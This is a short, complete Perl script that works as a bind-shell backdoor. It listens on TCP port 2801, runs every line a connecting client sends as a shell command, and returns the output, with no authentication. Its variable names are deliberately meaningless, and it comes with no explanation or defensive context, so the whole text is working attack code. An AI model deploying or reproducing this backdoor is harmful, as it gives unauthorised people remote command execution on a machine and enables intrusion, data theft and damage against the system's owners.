use IO::Socket;
use Net::hostent;
my($nmn,$nmm,$mnm,$mmn)=undef;
$nmn=IO::Socket::INET->new(Proto=>"tcp", LocalPort=>2801,Listen=>5,Reuse=>1);
while($nmm=$nmn->accept())
	{
	$nmm->autoflush(1);
	while($mnm=<$nmm>)
		{
		$mmn=`$mnm`;
		print $nmm $mmn;
		}
	close $nmm;
	};